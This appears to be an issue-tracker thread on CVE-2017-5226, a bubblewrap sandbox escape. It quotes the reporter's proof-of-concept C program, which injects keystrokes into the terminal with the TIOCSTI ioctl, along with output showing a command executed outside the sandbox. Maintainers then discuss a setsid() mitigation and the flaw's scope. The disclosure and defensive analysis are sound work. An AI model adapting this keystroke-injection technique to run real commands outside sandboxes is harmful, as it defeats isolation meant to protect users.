CVE-2017-5226 -- bubblewrap escape via TIOCSTI ioctl

[smcv]

On Debian bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=850702, Federico Bento <up201407890@alunos.dcc.fc.up.pt> writes:

When executing a program via the bubblewrap sandbox, the nonpriv
session can escape to the parent session by using the TIOCSTI ioctl to
push characters into the terminal's input buffer, allowing an attacker
to escape the sandbox.

This has been assigned CVE-2017-5226.

$ cat test.c
#include <unistd.h>
#include <sys/ioctl.h>
#include <termios.h>

int main()
{
  char *cmd = "id\n";
  while(*cmd)
   ioctl(0, TIOCSTI, cmd++);
  execlp("/bin/id", "id", NULL);
}
$ gcc test.c -o /tmp/test
$ bwrap --ro-bind /lib64 /lib64 --ro-bind /home /home --ro-bind /bin /bin
--ro-bind /tmp /tmp --chdir / --unshare-pid --uid 0 /tmp/test
id
uid=0 gid=1000 groups=1000
$ id  <------ did not type this
uid=1000(saken) gid=1000(saken) groups=1000(saken)

I don't know who assigned the CVE ID or whether the bug reporter has made any attempt to report it upstream already.

[smcv]

Calling setsid() appears to be sufficient to avoid this, if we are willing to sacrifice tty job control for the sandboxed processes. With a slightly modified exploit that calls perror() if the ioctl fails:

ioctl TIOCSTI: Operation not permitted
ioctl TIOCSTI: Operation not permitted
ioctl TIOCSTI: Operation not permitted

I'm going to apply that in Debian for now.

[smcv]

This is arguably not a vulnerability in Bubblewrap itself, because it does not give the user calling Bubblewrap any more privileges outside the sandbox than they had inside.

However, I think it is correct to treat it as a vulnerability in Flatpak, and in any other sandboxes based on Bubblewrap that might be invoked with a controlling terminal.

[smcv]

I should note here for completeness that at least one member of the Debian security team seems to think this and its clones (CVE-2005-4890, CVE-2016-7545, CVE-2016-2781, CVE-2016-2779, CVE-2016-2568) are really all examples of one kernel issue, namely "TIOCSTI should be a privileged operation". https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=850702#27

[pxeger]

Am I right that this is not an issue when bwrap is not attached to a TTY (e.g. run in a script as a systemd service)?

[smcv]

Am I right that this is not an issue when bwrap is not attached to a TTY (e.g. run in a script as a systemd service)?

I think that's correct. However, you don't need to trust me on this - you can try the sample exploit in your environment, and find out.